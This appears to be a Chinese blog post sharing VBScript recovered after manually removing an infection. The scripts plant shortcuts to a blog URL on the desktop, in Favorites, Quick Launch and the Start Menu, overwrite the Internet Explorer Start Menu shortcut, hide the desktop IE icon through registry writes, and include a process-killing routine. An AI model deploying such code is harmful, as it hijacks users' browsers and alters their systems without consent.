手动杀毒后的收获

Set WshShell = WScript.CreateObject("WScript.Shell")

strDesktop = WshShell.SpecialFolders("Desktop") :'特殊文件夹“桌面”
Favorites = WshShell.SpecialFolders("Favorites") :'特殊文件夹“桌面”

Set oShellLink = WshShell.CreateShortcut(strDesktop & "\蛛蛛虎`s Blog.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式

Set oShellLink = WshShell.CreateShortcut(Favorites & "\蛛蛛虎`s Blog.lnk")
oShellLink.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink.Hotkey = "" : '快捷键
oShellLink.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink.Description = "" : '备注
oShellLink.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink.Save : '创建保存快捷方式

Set oUrlLink = WshShell.CreateShortcut(Favorites & "\蛛蛛虎`s Blog.url")
oUrlLink.TargetPath = "http://www.spiger.cn"
oUrlLink.Save

Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("StartMenu")&

"\"&"Internet Explorer.lnk")  
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.Hotkey = "" : '快捷键
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式

Set oShellLink1 = WshShell.CreateShortcut(WshShell.SpecialFolders.Item("AppData")&

"\Microsoft\Internet Explorer\Quick Launch"&"\蛛蛛虎`s Blog.lnk")  
oShellLink1.TargetPath = "%ProgramFiles%\Internet Explorer\iexplore.exe" : '目标
oShellLink1.Arguments = "http://www.spiger.cn" :'程序的参数
oShellLink1.WindowStyle = 1 :'参数1默认窗口激活，参数3最大化激活，参数7最小化
oShellLink1.IconLocation = "%ProgramFiles%\Internet Explorer\iexplore.exe, 0" : '图标
oShellLink1.Description = "" : '备注
oShellLink1.WorkingDirectory = "%ProgramFiles%\Internet Explorer\" : '起始位置
oShellLink1.Save : '创建保存快捷方式

wscript.quit

Set WshShell = WScript.CreateObject("WScript.Shell")

RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Hi
deDesktopIcons\NewStartPanel\{871C5380-42A0-1069-A2EA-08002B30309D}"
RegPath1="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Hi
deDesktopIcons\ClassicStartMenu\{871C5380-42A0-1069-A2EA-08002B30309D}"
Type_Name="REG_DWORD"
Key_Data=1
WshShell.RegWrite RegPath,Key_Data,Type_Name
WshShell.RegWrite RegPath1,Key_Data,Type_Name
Dim WSHShell, strDesktop
Set WSHShell = WScript.CreateObject("WScript.Shell")
strDesktop = WSHShell.SpecialFolders("Desktop")
WSHShell.AppActivate strDesktop
WSHShell.SendKeys "{F5}"

Sub ProcessKiller(ProcessName)
        On Error Resume Next
        Dim WMI,objProcess,Process
        Dim MsgStr
        Dim isKilled
        isKilled=False
        Set WMI=GetObject("WinMgmts:")
        Set Process=WMI.InstancesOf("Win32_Process")
        For Each objProcess In Process
                If InStr(ProcessName,".")>0 Then
                        If objProcess.name=ProcessName Then
                                objProcess.Terminate
                        End If
                Else
                        If InStr(objProcess.ExecutablePath,ProcessName)>0 Then
                                objProcess.Terminate
                        End If
                End If
                If Err Then Err.Clear
        Next
        Set Process=Nothing
        Set WMI=Nothing
End Sub

wscript.quit